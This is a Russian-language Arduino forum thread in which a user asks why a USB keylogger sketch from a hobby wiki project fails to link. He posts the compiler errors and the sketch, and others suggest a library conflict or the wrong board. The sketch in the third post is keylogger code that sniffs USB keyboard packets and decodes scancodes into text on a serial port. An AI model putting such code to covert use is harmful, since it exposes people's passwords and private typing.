Не собирается проект

Тема в разделе "Arduino & Shields", создана пользователем BigBadBo, 20 фев 2016.

  1. BigBadBo

    BigBadBo Нуб

    http://wiki.amperka.ru/projects:keylogger

    Всем привет! Первый раз работаю с Arduino - вот скачал библиотеку V-USB, пытаюсь собрать скетч, указанный в теме кейлоггера, но вылазит куча ошибок

    В чем может быть проблема?

    Arduino: 1.6.7 (Windows 7), Плата:"Arduino Mini, ATmega328"

    c:/program files (x86)/arduino/hardware/tools/avr/bin/../lib/gcc/avr/4.8.1/../../../../avr/bin/ld.exe: Warning: size of symbol `usbRxBuf' changed from 22 in sketch\usbdrv\usbdrv.c.o to 11 in sketch\keylogger.ino.cpp.o

    libraries\usbdrv\usbdrvasm.S.o: In function `__vector_1':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm16.inc:35: multiple definition of `__vector_1'

    sketch\usbdrv\usbdrvasm.S.o:C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm16.inc:35: first defined here

    libraries\usbdrv\usbdrvasm.S.o: In function `usbCrc16':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm.S:230: multiple definition of `usbCrc16'

    sketch\usbdrv\usbdrvasm.S.o:sketch\usbdrv/usbdrvasm.S:230: first defined here

    libraries\usbdrv\usbdrvasm.S.o: In function `usbCrc16Append':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrvasm.S:262: multiple definition of `usbCrc16Append'

    sketch\usbdrv\usbdrvasm.S.o:sketch\usbdrv/usbdrvasm.S:262: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbSetInterrupt'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbPoll'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbTxLen'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorDevice'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorConfiguration'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorString0'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorStringVendor'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbDescriptorStringDevice'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    libraries\usbdrv\usbdrv.c.o: In function `usbSetInterrupt':

    C:\Users\Boris\Documents\Arduino\libraries\usbdrv/usbdrv.c:246: multiple definition of `usbInit'

    sketch\usbdrv\usbdrv.c.o:sketch\usbdrv/usbdrv.c:246: first defined here

    collect2.exe: error: ld returned 1 exit status

    exit status 1
    Ошибка компиляции.

    Это сообщение будет содержать больше информации чем
    "Отображать вывод во время компиляции"
    включено в Файл > Настройки
     
  2. dimafe6

    dimafe6 Нуб

    похоже на конфликт похожих библиотек. покажи скетч
     
  3. BigBadBo

    BigBadBo Нуб

    Код (C++):
    #include <avr/io.h>
    #include <avr/interrupt.h>
    #include <avr/wdt.h>
    #include <avr/pgmspace.h>
    // библиотека для работы с протоколом USB
    #include <usbdrv.h>
    // библиотека для работы с Serial-портом
    #include <uart.h>
    // PID      8 бит идентификатор
    // ADDR     7 бит адрес устройства
    // Endpoint 4 бита номер конечной точки
    // CRC      5 бит контрольная сумма
    // итого 3 байта
    #define IN_SIZE       3
    // PID  8 бит идентификатор
    // DATA 64 бита данные
    // CRC  16 бит контрольная сумма
    // итого 11 байт
    #define USB_BUFSIZE   11
    // количество принятых пакетов хранимых в памяти
    // должно быть четным и соблюдаться условие
    // (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255
    #define FIFO_BUF_SIZE 10
    // RX буфер: 3 байта запроса IN + 11 байт данных DATAx
    unsigned char usbRxBuf[USB_BUFSIZE];
    unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE];
    // номер текущей записываемой пары IN-DATA (0-FIFO_BUF)
    unsigned char CurWritePos = 0;
    // номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF)
    unsigned char CurReadPos  = 0;
    // массив символов для декодирования скан-кодов при не нажатой клавиши Shift
    unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./";
    // массив символов для декодирования скан-кодов при зажатой клавиши Shift
    unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?";
    void setup()
    {
      // открываем последовательный порт
      Serial.begin(19200);
      // настраиваем прерывание
      usbInit();
      // печатаем о готовности устройства
      Serial.print("UART init complet");
      // разрешаем прерывания
      sei();
    }
    void loop()
    {
      // если сработало прерывание
      // то переменная CurWritePos изменит своё значение
      if (CurWritePos != CurReadPos) {
        // вызываем функцию printResult
        printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE);
        CurReadPos++;
        if (CurReadPos >= FIFO_BUF_SIZE) {
        CurReadPos = 0;
        }
      }
    }
    void printResult(uchar *datakey, uchar len)
    {
      bool shift = 0;
      // если во время очередного нажатия на клавишу
      // была нажата кнопка Shift
      if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20))
      shift = 1;
      else
      shift = 0;
      // если 3 байт из массива данных пришёл не нулевой
      // значит нажата одна из клавиш
      if (*(datakey + 3) != 0) {
        // вызываем функцию печати символа
        printKey(*(datakey + 3), shift);
      }
    }
    void printKey(uchar key, bool shift)
    {
      // если нажата одна из клавиш английского алфавита
      if (key >= 0x4 && key <= 0x27) {
        // если нажат Shift декодируем скан-коды как заглавные буквы
        if (shift == 1) {
          Serial.write(masskeyShift[key-4]);
        } else {
          // если нет декодируем скан-коды как строчные буквы
          Serial.write(masskey[key-4]);
        }
      } else if (key == 0x28) {
        // если пришел скан-код клавиши Enter
        Serial.print("\r\n");
      } else if (key == 0x2B) {
        // если пришел скан-код клавиши Tab
        Serial.print("\t");
      } else if (key == 0x2C) {
        // если пришел скан-код клавиши Space
        Serial.print(" ");
      } else if (key >= 0x2d && key <= 0x38) {
        // если пришел сканд-код из знаков пунктуации
        if (shift == 1)
        Serial.write(masskeyShift[key - 9]);
        else
        Serial.write(masskey[key - 9]);
      } else {
        // если пришёл скан-код которого мы не знаем
        // печатаем его без декодирования
        printHex(key);
      }
    }
     
  4. dimafe6

    dimafe6 Нуб

    скорей всего у вас установлена конфликтующая библиотека. дайте скрин директории C:\Users\Boris\Documents\Arduino\libraries
     
  5. BigBadBo

    BigBadBo Нуб

     

    Вложения:

    • 1.PNG
      1.PNG
      Размер файла:
      16,8 КБ
      Просмотров:
      645
  6. у вас не тот процессор нужен ардуно микро или леонардо и их подобия
     
  7. parovoZZ

    parovoZZ Гуру

    @Иван Жуков на дату обсуждаемой темы вообще смотрим?